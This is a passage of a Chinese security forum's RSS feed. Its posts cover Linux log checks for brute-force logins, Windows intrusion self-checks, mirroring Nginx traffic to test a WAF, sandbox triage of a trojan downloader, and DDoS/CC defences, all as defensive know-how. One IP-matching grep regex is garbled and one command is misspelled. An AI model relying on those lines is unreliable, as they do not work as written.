<p>查找登录系统失败的20个账号<br /><code>lastb | awk '{print $1}' | sort | uniq -c | sort -nr | head -n 20</code><br />定位有多少IP在爆破主机的root帐号<br /><code>grep "Failed password for root" /var/log/secure | sort | uniq -c | sort -nr | more</code><br />查看所有重启日志信息<br /><code>last reboot</code><br />查看系统正常的运行时间<br /><code>uptime -s</code><br />查看哪些IP在爆破<br /><code>grep "Failed password" /var/log/secure|grep -E -o "(25|2|??)\.(25|2|??)\.(25|2|??)\.(25|2|??)"|uniq -c</code><br />查看哪些IP登录成功了<br /><code>grep "Accepted" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more</code><br />登录成功的日期,用户名,IP<br /><code>gerp "Accepted" /var/log/secure | awk '{print $1,$2,$3,$9,$11}'</code><br />希望本文对你有所帮助~~如果对软件测试、接口测试、自动化测试、性能测试、面试经验交流感兴趣可以私聊我</p>
</div>
</article>
<div class="uk-flex uk-flex-center uk-margin-large-top uk-margin-bottom"> </div>
</div>
<div id="gtx-trans" style="position: absolute;left: 80px;top: 13979.8px">
<div class="gtx-trans-icon"> </div>
</div>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/threat-hunting/">Threat Hunting</category>                        <dc:creator>Sunny Heart</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/threat-hunting/linux%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%b7%a1%e6%a3%80%e8%84%9a%e6%9c%ac-%e6%a3%80%e6%b5%8b%e7%b3%bb%e7%bb%9f%e6%98%af%e5%90%a6%e8%a2%ab%e5%85%a5%e4%be%b5/</guid>
                    </item>
				                    <item>
                        <title>快速自检电脑是否被黑客入侵过</title>
                        <link>https://itprosec.com/community/threat-hunting/%e5%bf%ab%e9%80%9f%e8%87%aa%e6%a3%80%e7%94%b5%e8%84%91%e6%98%af%e5%90%a6%e8%a2%ab%e9%bb%91%e5%ae%a2%e5%85%a5%e4%be%b5%e8%bf%87/</link>
                        <pubDate>Mon, 20 Dec 2021 02:50:59 +0000</pubDate>
                        <description><![CDATA[我们经常会感觉电脑行为有点奇怪, 比如总是打开莫名其妙的网站, 或者偶尔变卡(网络/CPU), 似乎自己&quot;中毒&quot;了,但X60安全卫士或者X讯电脑管家扫描之后又说你电脑&quot;非常安全&quot;, 那么有可能你已经被黑客光顾过了. 这种时候也许要专业的取证人员出场,但似乎又有点小提大作. 因此本文介绍一些低成本的自检方法, 对于个人用户可以快速判断自己是否已经被入侵过.1. 异常的日志记录通常...]]></description>
                        <content:encoded><![CDATA[<p><span>我们经常会感觉电脑行为有点奇怪, 比如总是打开莫名其妙的网站, 或者偶尔变卡(网络/CPU), 似乎自己"中毒"了,</span><br /><span>但X60安全卫士或者X讯电脑管家扫描之后又说你电脑"非常安全", 那么有可能你已经被黑客光顾过了. 这种时候也许要专业的取证人员出场,</span><br /><span>但似乎又有点小提大作. 因此本文介绍一些低成本的自检方法, 对于个人用户可以快速判断自己是否已经被入侵过.</span><br /><br /><span>1. 异常的日志记录</span><br /><span>通常我们需要检查一些可疑的事件记录, 比如:</span></p>
<h6 class="quote"><a>複製代碼</a></h6>
<blockquote id="code1"> “Event log service was stopped.”(事件记录服务已经停止)<br />“Windows File Protection is not active on this system.”(Windows文件保护未开启)<br />“The protected System file  was not restored to its original, valid version because of the Windows File Protection…”(受保护的系统文件XXX无法还原)<br />“The MS Telnet Service has started successfully.”(Telnet服务开启成功)</blockquote>
<p><br /><span>除此之外, 还可以看看有没有大量失败的登录日志或者被锁定的账户.</span><br /><br /><span>查看事件日志有两种方式:</span><br /><br /><span>1) 通过图形界面查看, 开始-&gt;运行 eventvwr.msc</span><br /><br /><span>2) 通过命令行查看, 主要是使用eventquery.vbs脚本:</span><br /><br /><span>C:&gt; eventquery.vbs | more</span><br /><span>或者只看某个条目下的日志:</span><br /><br /><span>C:&gt; eventquery.vbs /L security</span><br /><span>eventquery.vbs是使用可以查看命令行帮助或者微软的官方文档.</span><br /><br /><span>2. 异常的进程和服务</span><br /><span>即在我们熟知的Windows任务管理器中查看是否有奇怪的进程在运行, 重点关注用户名是SYSTEM(系统)或者Administrator(管理员), 以及在管理员组的用户.</span><br /><span>当然, 你最好能熟悉正常的进程和服务, 不然也不知道某个进程是不是"异常"的. 如果不熟悉也不要紧, 对着任务管理器不认识的进程, 挨个google一遍也就能大概了解了.</span><br /><br /><span>查找异常进程</span><br /><span>使用Ctrl+Alt+Del快捷键或者开始-&gt;运行taskmgr.exe打开任务管理器即可看到运行中的进程. 当然也可以使用命令行查看进程:</span><br /><br /><span>C:&gt; tasklist</span><br /><span>C:&gt; wmic process list full</span><br /><span>查找异常服务</span><br /><span>1). 图形界面: 开始-&gt;运行 services.msc</span><br /><span>2). 命令行:</span><br /><br /><span>C:&gt; net start</span><br /><span>C:&gt; sc query</span><br /><br /><span>查找和每个进程关联的服务:</span><br /><br /><span>C:&gt; tasklist /svc</span><br /><span>3. 异常的文件和注册表</span><br /><span>如果磁盘可用空间突然减小, 我们可以查找文件看是否有异常. 通过开始菜单依次点击:</span><br /><br /><span>开始-&gt;查找-&gt;文件或目录</span><br /><span>然后设置查找选项, 比如文件大小大于10000KB, 或者创建/修改时间在一周以内, 并搜索相关文件.</span><br /><br /><span>对于注册表, 通常是查找自启动的注册点, 并检查对应的应用程序, 常见的启动点为:</span></p>
<h6 class="quote"><a>複製代碼</a></h6>
<blockquote id="code2"> HKLM\Software\Microsoft\Windows\CurrentVersion\Run<br />HKLM\Software\Microsoft\Windows\CurrentVersion\Runonce<br />HKLM\Software\Microsoft\Windows\CurrentVersion\RunonceEx<br />HKCU\Software\Microsoft\Windows\CurrentVersion\Run<br />HKCU\Software\Microsoft\Windows\CurrentVersion\Runonce<br />HKCU\Software\Microsoft\Windows\CurrentVersion\RunonceEx</blockquote>
<p><br /><span>注: HKLM和HKCU分别是HKEY_LOCAL_MACHINE和HKEY_CURRENT_USER的缩写.</span><br /><br /><span>查看注册表有两种方式:</span><br /><br /><span>1) 图形界面: 开始-&gt;运行 regedit.exe</span><br /><br /><span>2) 命令行reg query &lt;key&gt;, 例:</span></p>
<h6 class="quote"><a>複製代碼</a></h6>
<blockquote id="code3"> C:&gt; reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run</blockquote>
<p><br /><span>当然除此之外还有很多注册点可以进行自启动, 这个在下面说.</span><br /><br /><span>4. 异常的计划任务</span><br /><span>接下来是查看异常的计划任务, 重点关注那些以管理员组或者SYSTEM权限, 或者是以空白用户名定时启动的任务.</span><br /><br /><span>查看定时任务</span><br /><span>1) 图形界面, 可以通过开始菜单搜索Task Scheduler打开, 或者:</span><br /><br /><span>开始-&gt;运行 taskschd.msc /s</span><br /><span>2) 命令行输出计划任务:</span><br /><br /><span>C:&gt; schtasks</span><br /><span>查看自启动程序</span><br /><span>1) 图形界面, 开始-&gt;运行 msconfig.exe</span><br /><br /><span>2) 命令行:</span><br /><br /><span>C:&gt; wmic startup list full</span><br /><span>其他自启动入口</span><br /><span>要注意的是, msconfig这些命令只是列出了部分开机自动启动的程序, Windows开机自启动的方式很多, 包括劫持系统程序/动态运行库等方式,</span><br /><span>其中涉及到许多注册表入口, 感兴趣的朋友可以查看网上的其他文章.</span><br /><br /><span>5. 异常的网络流量</span><br /><span>常用的网络相关自检命令:</span></p>
<h6 class="quote"><a>複製代碼</a></h6>
<blockquote id="code4"> 检查防火墙配置:<br /><br />C:&gt; netsh firewall show config<br /><br />查看共享文件, 检查是否是主动分享的:<br /><br />C:&gt; net view \127.0.0.1<br /><br />查看本机活跃的会话:<br /><br />C:&gt; net session<br /><br />查看本机对其他系统打开的会话:<br /><br />C:&gt; net use<br /><br />查看NetBIOS over TCP/IP 的激活状态:<br /><br />C:&gt; nbtstat -S<br /><br />查看当前网络连接和监听情况:<br /><br />C:&gt; netstat -na<br /><br />持续输出上述信息, 每3秒刷新一次:<br /><br />C:&gt; netstat -na 3<br /><br />查看网络连接对应的进程id(-o)和进程名字(-b)<br /><br />C:&gt; netstat -naob</blockquote>
<p><br /><span>注: netstat -b 除了显示进程名字, 还显示了进程所加载的DLL信息, 所以持续输出的话会消耗比较多的CPU资源.</span><br /><span>对于其他选项, 可以通过netstat -h查看帮助.</span><br /><br /><span>6. 异常帐号</span><br /><span>重点查看新添加进管理员组的帐号.</span><br /><br /><span>1) 图形界面方式:</span><br /><br /><span>开始-&gt;运行 lusrmgr.msc -&gt; 点击用户组 -&gt; 双击管理员</span><br /><span>然后查看里面的用户列表.</span><br /><br /><span>2) 命令行方式:</span><br /><br /><span>C:&gt; net user</span><br /><span>C:&gt; net localgroup administrators</span><br /><span>小结</span><br /><span>当发现电脑突然变卡的时, 应当及时查看任务管理器看是否有某个异常进程占用了大量CPU资源; 当系统异常死机时,</span><br /><span>应当及时检查对应日志, 看是否是某个程序执行exp导致的崩溃. 总而言之, 最好经常按照上述方式快速对系统做一遍检查,</span><br /><span>以即使找出可能是电脑入侵引起的反常迹象, 以免导致个人信息和财产遭受损害</span></p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/threat-hunting/">Threat Hunting</category>                        <dc:creator>Sunny Heart</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/threat-hunting/%e5%bf%ab%e9%80%9f%e8%87%aa%e6%a3%80%e7%94%b5%e8%84%91%e6%98%af%e5%90%a6%e8%a2%ab%e9%bb%91%e5%ae%a2%e5%85%a5%e4%be%b5%e8%bf%87/</guid>
                    </item>
				                    <item>
                        <title>利用Nginx流量镜像，优雅的接入waf</title>
                        <link>https://itprosec.com/community/threat-hunting/%e5%88%a9%e7%94%a8nginx%e6%b5%81%e9%87%8f%e9%95%9c%e5%83%8f%ef%bc%8c%e4%bc%98%e9%9b%85%e7%9a%84%e6%8e%a5%e5%85%a5waf/</link>
                        <pubDate>Mon, 13 Jul 2020 03:04:01 +0000</pubDate>
                        <description><![CDATA[之前介绍了Nginx的两种开源waf， Naxsi 和 ModSecurity ，有人担心直接上生产会不会有问题，拦截正常请求，我想说——那是必然会影响的
现在大多WAF都是通过规则匹配请求特征，有规则，肯定就不会那么智能的避开所有正常请求，只拦截恶意请求，虽然现在有百度的openrasp等不依赖于请求特征的运行时攻击检测工具，但是也不能做到完全准确的拦截攻击或恶意请求
怎...]]></description>
                        <content:encoded><![CDATA[<p><span>之前介绍了Nginx的两种开源waf， <span class="wangEditor-link-demo">Naxsi </span>和 <span class="wangEditor-link-demo">ModSecurity </span>，有人担心直接上生产会不会有问题，拦截正常请求，我想说——那是必然会影响的</span></p>
<p><span>现在大多WAF都是通过规则匹配请求特征，有规则，肯定就不会那么智能的避开所有正常请求，只拦截恶意请求，虽然现在有百度的openrasp等不依赖于请求特征的运行时攻击检测工具，但是也不能做到完全准确的拦截攻击或恶意请求</span></p>
<p><span>怎么才能比较友好的在线上接入Naxsi或ModSecurity开源waf？</span></p>
<p><img src="https://img.shangyexinzhi.com/image/article/1d977b16b8b7d9d092b3f39bc9e79d8f.png" alt="新知图谱, 利用Nginx流量镜像，优雅的接入waf" /><span></span></p>
<p><span>这里就要参考网络防火墙，或者入侵检测系统的方法，通过流量镜像的方式，在网络故障处理中，为了更好的分析定位网络问题，我们通常会做流量镜像或者端口镜像，来保存镜像流量，用于分析恶意请求、或抓包故障定位等，我们web上也可以通过这种方式来做</span></p>
<p><span>怎么做呢，有很多开源的流量复制/镜像工具，比如gor、tcpcopy等，都可以用来做流量镜像</span></p>
<p><span>但是在Nginx下面，你就没必要这么麻烦了，Nginx早在1.13版本的时候就添加了ngx_http_mirror_module模块，就是用来做流量镜像的</span></p>
<p><img src="https://img.shangyexinzhi.com/image/article/21c25bfc20d157bc004bfd9641ec3d53.png" alt="新知图谱, 利用Nginx流量镜像，优雅的接入waf" /></p>
<p><span>Nginx的流量镜像模块，很简单，就两个指令</span></p>
<p><span><img src="https://img.shangyexinzhi.com/image/article/cc6c4175d849a618c24300f409111294.png" alt="新知图谱, 利用Nginx流量镜像，优雅的接入waf" /></span></p>
<p><span>mirror用来指定请求将被镜像到哪个uri，可以指定多个镜像，uri也可以用相同的，相同的uri就表示将流量放大了一倍，也就是多复制了一份流量到uri，这个也是可以用来测试流量放大的情况下，后端的负载情况，简单演示</span></p>
<p><span><img src="https://img.shangyexinzhi.com/image/article/b0896e7f1c6082c3a803a2aff9ff6707.png" alt="新知图谱, 利用Nginx流量镜像，优雅的接入waf" /></span></p>
<p><span>先看下不放大的情况下，请求看下</span></p>
<p><span><img src="https://img.shangyexinzhi.com/image/article/b508fb251071d535b633f019a545d194.png" alt="新知图谱, 利用Nginx流量镜像，优雅的接入waf" /></span></p>
<p><span>可以看到，是镜像一份请求，接着配置放大一倍，继续监听日志，查看效果</span></p>
<p><span><img src="https://img.shangyexinzhi.com/image/article/3d151c6f58c3a19e5ccf4ad161378bb9.png" alt="新知图谱, 利用Nginx流量镜像，优雅的接入waf" /></span></p>
<p><span>镜像两份请求，所以这个情况就能达到放大流量的效果</span></p>
<p><span>这里有个小的问题需要说一下，就是mirror是不支持access_log记录的，所以我这里是通过代理到另外一个server，通过另外一个server记录日志进行查看的，这个是一个需要注意的地方</span></p>
<p><span>流量镜像的另外一个指令就是mirror_request_body</span></p>
<p><span><img src="https://img.shangyexinzhi.com/image/article/3a05cb8bee2aaa20f330951e5ee16916.png" alt="新知图谱, 利用Nginx流量镜像，优雅的接入waf" /></span></p>
<p><span>该参数是指定是否镜像request_body部分，默认是开启的，官方文档中说，这个指令和</span></p>
<ul class="list-paddingleft-2">
<li>
<p><span>proxy_request_buffering</span></p>
</li>
<li>
<p><span>fastcgi_request_buffering</span></p>
</li>
<li>
<p><span>scgi_request_buffering</span></p>
</li>
<li>
<p><span>uwsgi_request_buffering</span></p>
</li>
</ul>
<p><span>指令冲突，开启之后会禁用以上指令</span></p>
<p><span>使用该指令一定要保证mirror_request_body、proxy_pass_request_body和Content-Length配置一直，比如mirror_request_body或proxy_pass_request_body设置为off，则Content-Length必须设置为“” </span><span>，因为nginx(mirror_request_body)或tomcat(mirror_request_body)处理post请求时，会根据Content-Length获取请求体，如果Content-Length不为空，而由于mirror_request_body或者proxy_pass_request_body设置为off，处理方以为post有内容，当request_body中没有，处理方会一直等待至超时，则前者为off，nginx会报upstream请求超时</span></p>
<p><span>nginx的流量镜像配置就是这么简单，它的流量镜像是只复制镜像，发送到配置好的后端，但是后端响应返回到nginx之后，nginx是自动丢弃掉的，这个在官方文档介绍中就有，这个特性就保证了，镜像后端的不管任何处理都不会影响到正常客户端的请求</span></p>
<p><span>结合这个特性，我们就可以把waf配置在镜像流量下</span></p>
<p><span><img src="https://img.shangyexinzhi.com/image/article/1bf73150ab941bcba21c26725b2c1292.png" alt="新知图谱, 利用Nginx流量镜像，优雅的接入waf" /></span></p>
<p><span>之前介绍waf的文章中有waf配置的方式，这里就不多介绍了，想看的，可以看文章开头，也可以看文章后面推荐</span></p>
<p><span>通常waf中，拦截掉之后会返回403给客户端，当然也可以自定义，完后会记录拦截日志，利用这种机制，将waf配置在流量镜像下使用一段时间后，就可以从日志中分析出哪些正常请求会被拦截掉，从而修改waf规则，然后接入到生产数据中，这样可以有效的避免waf的FRR</span></p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/threat-hunting/">Threat Hunting</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/threat-hunting/%e5%88%a9%e7%94%a8nginx%e6%b5%81%e9%87%8f%e9%95%9c%e5%83%8f%ef%bc%8c%e4%bc%98%e9%9b%85%e7%9a%84%e6%8e%a5%e5%85%a5waf/</guid>
                    </item>
				                    <item>
                        <title>如何快速判断一个文件是否为病毒</title>
                        <link>https://itprosec.com/community/threat-hunting/%e5%a6%82%e4%bd%95%e5%bf%ab%e9%80%9f%e5%88%a4%e6%96%ad%e4%b8%80%e4%b8%aa%e6%96%87%e4%bb%b6%e6%98%af%e5%90%a6%e4%b8%ba%e7%97%85%e6%af%92/</link>
                        <pubDate>Mon, 25 May 2020 14:10:31 +0000</pubDate>
                        <description><![CDATA[先说一下写这篇文章的背景和目的。现在吾爱的『原创发布区』和『精品软件区』人气很旺，发布的软件非常多。但也有一些小人，在发布的软件里插些小玩具，当灰客。论坛派专人检测也是很困难的，工作量太大，查不过来，因此很大程度上要靠用户自己识别，于是就有了这篇文章。需要说明一下的是，这篇文章主要是快速辨别正常文件与病毒，我自己也不是专业人员，方法是我自己总结出来的，很业余，不过我觉得还是有些...]]></description>
                        <content:encoded><![CDATA[<p><span>先说一下写这篇文章的背景和目的。现在吾爱的『原创发布区』和『精品软件区』人气很旺，发布的软件非常多。但也有一些小人，在发布的软件里插些小玩具，当灰客。论坛派专人检测也是很困难的，工作量太大，查不过来，因此很大程度上要靠用户自己识别，于是就有了这篇文章。需要说明一下的是，这篇文章主要是快速辨别正常文件与病毒，我自己也不是专业人员，方法是我自己总结出来的，很业余，不过我觉得还是有些用处的。如果你有更好的办法，欢迎跟帖提出。下面正文开始。</span></p>
<p><span style="font-family: 微软雅黑">分析一个文件是否为病毒有多种方法，</span><span style="font-family: 微软雅黑">比如用OD这样的调试器，用HIPS都可以达到目的。在这里主要讨论一下快速判断的方法，用最短的时间，最少的知识，来判断一个文件是否安全。</span></p>
<p><span style="font-family: 微软雅黑">先说一下必要的工具：Sandboxie、<a class="relatedlink" href="https://www.52pojie.cn/thread-12865-1-1.html" target="_blank" rel="noopener">PEID</a>、OD以及你的杀毒软件。</span></p>
<p><span style="font-family: 微软雅黑">比如说，我从论坛上下载一个别人发布的软件，这时候杀毒软件也许会报毒。这种情况下，先看一下报的病毒名。如果报的是“Win32/Packed.VMProtect.AAA 特洛伊木马 的变种”这样的壳，那么可以稍稍放松下警惕。对于一些壳，杀软脱不了，为了方便，就把这种壳当作病毒来处理。另外，如果是“Win32/Hupigon.NUK 特洛伊木马”以及“Win32/Parite.B 病毒”这类的，就需要注意，这个文件可能被人恶意插入木马，或者被感染过。从杀软报的病毒名基本可以判断出这个文件是真的有问题，还是属于杀软的误报。然而，也有一些例外。比如“Trojan.Win32.Generic.122E105A”，这个一看就是云安全分析出来的病毒，没有什么有效的信息，所以无法通过病毒名判断是否是误判。</span></p>
<p><span style="font-family: 微软雅黑">根据杀软的信息，可以对该文件的安全性有一个初步的了解。我想不会有人完全信任杀软的，更多的还是信任自己。用PEiD查一下壳，如果是一些简单的压缩壳，就在沙盘中运行OD，脱掉，分析。这时要做的不是一步步跟下去，而是找一下这个文件调用的API。在反汇编窗口右击，查找——当前模块中的名称(标签)。</span></p>
<p><span style="font-family: 宋体"><img title="未命名.PNG" src="https://attach.52pojie.cn/forum/month_1010/1010291824d7d6d05364d40e8f.png" alt="未命名.PNG" /><br /></span></p>
<p><span style="font-family: 微软雅黑">观察一下API，这时也是有所取舍的。对于字符函数和字符串处理函数这类的，可以忽略过去；对于注册表函数、文件函数则要多加留意。比如说，看到了CreateFile，就在这个函数上下断，注意看有没有对系统敏感位置写入文件。</span><span style="font-family: 微软雅黑">同样，查看字符串也是有效的方式。一般地，可以从字符串找出一些病毒的特征。比如有的灰鸽子会有“客户端安装成功”之类的字样，发现一些邮件地址以及相应密码的。这些都是很可疑的。</span><span style="font-family: 微软雅黑">遇到一些猛壳，脱掉它是很困难的，这时可以借助下沙盘。</span><span> </span><img title="未命名2.PNG" src="https://attach.52pojie.cn/forum/month_1010/101029182364d1887e0dda4f30.png" alt="未命名2.PNG" /><br /><span style="font-family: 微软雅黑">让程序在沙盘里完全运行，之后终止所有程序。</span></p>
<p><img title="未命名3.PNG" src="https://attach.52pojie.cn/forum/month_1010/10102918238c66bf6aed5bd4ab.png" alt="未命名3.PNG" /><br /><span style="font-family: 微软雅黑">查看一下程序生成了什么。</span></p>
<p><img title="未命名5.PNG" src="https://attach.52pojie.cn/forum/month_1010/101029182356acba50cc21534c.png" alt="未命名5.PNG" /><br /><span style="font-family: 微软雅黑">从程序生成的文件基本可以判断是否是病毒了。</span><span style="font-family: 微软雅黑">当然，也不乏一些检测沙盘、<a class="relatedlink" href="https://www.52pojie.cn/thread-661779-1-1.html" target="_blank" rel="noopener">虚拟机</a>的小东西。在病毒样本区的页面上方有在线沙盘的链接。分析的结果十分具体，可以用来参考。如果你觉得手工检测太麻烦，可以借助在线沙盘，既快又详细。</span></p>
<p><img title="未命名4.PNG" src="https://attach.52pojie.cn/forum/month_1010/1010291826c5cdb222a8dc92fc.png" alt="未命名4.PNG" /></p>
<p> </p>
<p>这样,举个例子吧.</p>
<p><a href="http://www.52pojie.cn/viewthread.php?tid=58683" target="_blank" rel="noopener">http://www.52pojie.cn/viewthread.php?tid=58683</a><span> </span>这是小生对一个带毒外挂的分析,大家可以看看录像,很有学习意义.下面我按照上面说的方法做一下.</p>
<p>先查一下壳,应该是没壳的.</p>
<p><img title="QQ截图未命名1.png" src="https://attach.52pojie.cn/forum/month_1010/1010292225502da8cb848d41fd.png" alt="QQ截图未命名1.png" /></p>
<p>此时我比较喜欢用PEiD的反汇编工具看看字符串,这个功能很方便.</p>
<p><img title="QQ截图未命名2.png" src="https://attach.52pojie.cn/forum/month_1010/10102922268874f9440040f22f.png" alt="QQ截图未命名2.png" /></p>
<p>注意选中的部分,很可疑.是一个URL,指向的还是个exe文件.这时应该怀疑这个外挂是个下载器.</p>
<p>下面将它用OD载入(在沙盘或虚拟机中进行),看一看当前模块中的名称(标签),有一个URLDownloadToFileA,这个函数可以实现将一个网络上的文件下载到本地的功能,一般的ShellCode常用到它.</p>
<p><img title="QQ截图未命名4.png" src="https://attach.52pojie.cn/forum/month_1010/10102922358d376d303b19da9a.png" alt="QQ截图未命名4.png" /></p>
<p>在输入函数上切换断点,运行,可以看出具体的行为.</p>
<p>在此之后要做的就是对下载下来的这个文件进行分析(地址竟然还有效..).</p>
<p><img title="QQ截图未命名5.png" src="https://attach.52pojie.cn/forum/month_1010/101029224658d5d2bba0490980.png" alt="QQ截图未命名5.png" /></p>
<p>一般来说微软的程序不会有这样的图标,而一个外挂莫名其妙地下载微软的东西,很奇怪,只能说是欲盖弥彰,所以可以直接毙掉了.</p>
<p>同理,如果用沙盘直接运行,最终会在沙盘里提取到这个文件,会发现在临时目录里.在外挂的目录下还会发现一个隐藏文件,应该就是干净的外挂.</p>
<p>挂的这个马应该变了,与小生附件中的程序已经不同了.</p>
<p>如果你认为很麻烦,可以直接把它扔到在线沙盘里,让机器替你分析.</p>
<p>比如说我认为下载下来的这个文件nSPack壳比较难脱,或者说我根本不会<a class="relatedlink" href="https://www.52pojie.cn/forum-5-1.html" target="_blank" rel="noopener">脱壳</a>,那么就打开http://camas.comodo.com/cgi-bin/submit ,选择文件路径,然后Upload File,静候几分钟,就可以出结果,其它的在线沙盘也是大同小异.</p>
<p> </p>
<p>这次找例子找的很麻烦,我没有存样本的习惯,那些发木马的检测出来之后都被封掉了,他们的光辉附件也就找不到了,没有合适的例子.况且拿货真价实的病毒来测也有点不大现实.在论坛找了好久才找到仅存的这个程序,以后如果在遇到发木马的我会拿它当例子讲一讲^_^</p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/threat-hunting/">Threat Hunting</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/threat-hunting/%e5%a6%82%e4%bd%95%e5%bf%ab%e9%80%9f%e5%88%a4%e6%96%ad%e4%b8%80%e4%b8%aa%e6%96%87%e4%bb%b6%e6%98%af%e5%90%a6%e4%b8%ba%e7%97%85%e6%af%92/</guid>
                    </item>
				                    <item>
                        <title>DDoS和CC攻击的区别及简单防御方法</title>
                        <link>https://itprosec.com/community/threat-hunting/ddos%e5%92%8ccc%e6%94%bb%e5%87%bb%e7%9a%84%e5%8c%ba%e5%88%ab%e5%8f%8a%e7%ae%80%e5%8d%95%e9%98%b2%e5%be%a1%e6%96%b9%e6%b3%95/</link>
                        <pubDate>Sat, 23 May 2020 15:07:24 +0000</pubDate>
                        <description><![CDATA[DDoS攻击：
DDoS全称:分布式拒绝服务(DDoS:Distributed Denial of Service)。信息安全的三要素——“保密性”、“完整性”和“可用性”中，拒绝服务攻击，针对的目标正是“可用性”。该攻击方式利用目标系统网络服务功能缺陷或者直接消耗其系统资源，使得该目标系统无法提供正常的服务。拒绝服务攻击问题一直得不到合理的解决，目前还是世界性难题，究其原因...]]></description>
                        <content:encoded><![CDATA[<h1>DDoS攻击：</h1>
<p>DDoS全称:分布式拒绝服务(DDoS:Distributed Denial of Service)。信息安全的三要素——“保密性”、“完整性”和“可用性”中，拒绝服务攻击，针对的目标正是“可用性”。该攻击方式利用目标系统网络服务功能缺陷或者直接消耗其系统资源，使得该目标系统无法提供正常的服务。拒绝服务攻击问题一直得不到合理的解决，目前还是世界性难题，究其原因是因为这是由于网络协议本身的安全缺陷造成的，（这里不细说，详情自行百度）从而拒绝服务攻击也成为了攻击者的终极手法。攻击者进行拒绝服务攻击，实际上让服务器实现两种效果：一是迫使服务器的缓冲区满，不接收新的请求；二是使用IP欺骗，迫使服务器把合法用户的连接复位，影响合法用户的连接。</p>
<h1>CC攻击：</h1>
<p>CC攻击全称Challenge Collapsar，中文意思是挑战黑洞，因为以前的抵抗DDoS攻击的安全设备叫黑洞，顾名思义挑战黑洞就是说黑洞拿这种攻击没办法，新一代的抗DDoS设备已经改名为ADS(Anti-DDoS System)，基本上已经可以完美的抵御CC攻击了。CC攻击的原理是通过代理服务器或者大量肉鸡模拟多个用户访问目标网站的动态页面，制造大量的后台数据库查询动作，消耗目标CPU资源，造成拒绝服务。CC不像DDoS可以用硬件防火墙来过滤攻击，CC攻击本身的请求就是正常的请求。我们都知道网站的页面有静态和动态之分，动态网页是需要与后台数据库进行交互的，比如一些论坛用户登录的时候需要去数据库查询你的等级、权限等等，当你留言的时候又需要查询权限、同步数据等等，这就消耗很多CPU资源，造成静态网页能打开，但是需要和数据库交互的动态网页打开慢或者无法打开的现象。这种攻击方式相对于前两种实现要相对复杂一些，但是防御起来要简单的多，提供服务的企业只要尽量少用动态网页并且让一些操作提供验证码就能抵御一般的CC攻击。</p>
<h1>CC攻击的三种方式</h1>
<p>直接攻击，代理攻击，僵尸网络攻击，直接攻击主要针对有重要缺陷的 WEB 应用程序，一般说来是程序写的有问题的时候才会出现这种情况，比较少见。僵尸网络攻击有点类似于 DDOS 攻击了，从 WEB 应用程序层面上已经无法防御，所以代理攻击是CC 攻击者一般会操作一批代理服务器，比方说 100 个代理，然后每个代理同时发出 10 个请求，这样 WEB 服务器同时收到 1000 个并发请求的，并且在发出请求后，立刻断掉与代理的连接，避免代理返回的数据将本身的带宽堵死，而不能发动再次请求，这时 WEB 服务器会将响应这些请求的进程进行队列，数据库服务器也同样如此，这样一来，正常请求将会被排在很后被处理，就象本来你去食堂吃饭时，一般只有不到十个人在排队，今天前面却插了一千个人，那么轮到你的机会就很小很小了，这时就出现页面打开极其缓慢或者白屏。</p>
<h1>DDoS和CC的区别</h1>
<p>DDoS攻击打的是网站的服务器，而CC攻击是针对网站的页面攻击的，用术语来说就是，一个是WEB网络层拒绝服务攻击（DDoS），一个是WEB应用层拒绝服务攻击（CC），网络层就是利用肉鸡的流量去攻击目标网站的服务器，针对比较本源的东西去攻击，服务器瘫痪了，那么运行在服务器上的网站肯定也不能正常访问了。而应用层就是我们用户看得到的东西，就比如说网页，CC攻击就是针对网页来攻击的，CC攻击本身是正常请求，网站动态页面的正常请求也会和数据库进行交互的，当这种"正常请求"达到一种程度的时候，服务器就会响应不过来，从而崩溃。</p>
<p>DDoS是针对IP的攻击，而CC攻击的是服务器资源。</p>
<h1>DDoS攻击防御</h1>
<p>1.在系统各项资源非常宽裕时，向所有ip提供服务，每隔一段时间释放一部分临时黑名单中的ip成员；<br /><br />2.在系统资源消耗达到某一阈值时，降低Syn包接受速率，循环：分析最近时间的日志，并将访问异常的ip加入临时黑名单；<br /><br />3.若系统资源消耗慢慢回降至正常水平，则恢复Syn包接受速率，转到状态1；若目前策略并未有效地控制住系统资源消耗的增长，情况继续恶劣至一极限阈值，转到状态4；<br /><br />4.最终防御方案，使用忠实用户ip白名单、异常访问ip黑名单策略，其他访问可慢慢放入，直到系统资源消耗回降至正常水平，转到状态1。</p>
<h1>CC攻击防御</h1>
<p>1.取消域名绑定<br />　　一般cc攻击都是针对网站的域名进行攻击，比如我们的网站域名是“www.abc.com”，那么攻击者就在攻击工具中设定攻击对象为该域名然后实施攻击。 对于这样的攻击我们的措施是取消这个域名的绑定，让CC攻击失去目标。<br /><br />2.域名欺骗解析<br />　　如果发现针对域名的CC攻击，我们可以把被攻击的域名解析到127.0.0.1这个地址上。我们知道127.0.0.1是本地回环IP是用来进行网络测试的，如果把被攻击的域名解析到这个IP上，就可以实现攻击者自己攻击自己的目的，这样他再多的肉鸡或者代理也会宕机，让其自作自受。<br /><br />3.更改Web端口<br />　　一般情况下Web服务器通过80端口对外提供服务，因此攻击者实施攻击就以默认的80端口进行攻击，所以，我们可以修改Web端口达到防CC攻击的目的。运行IIS管理器，定位到相应站点，打开站点“属性”面板，在“网站标识”下有个TCP端口默认为80，我们修改为其他的端口就可以了。<br /><br />4.屏蔽IP<br />　　我们通过命令或在查看日志发现了CC攻击的源IP，就可以在防火墙中设置屏蔽该IP对Web站点的访问，从而达到防范攻击的目的。</p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/threat-hunting/">Threat Hunting</category>                        <dc:creator>ITPro</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/threat-hunting/ddos%e5%92%8ccc%e6%94%bb%e5%87%bb%e7%9a%84%e5%8c%ba%e5%88%ab%e5%8f%8a%e7%ae%80%e5%8d%95%e9%98%b2%e5%be%a1%e6%96%b9%e6%b3%95/</guid>
                    </item>
				                    <item>
                        <title>手动检测恶意软件和清除恶意软件劫持浏览器行为</title>
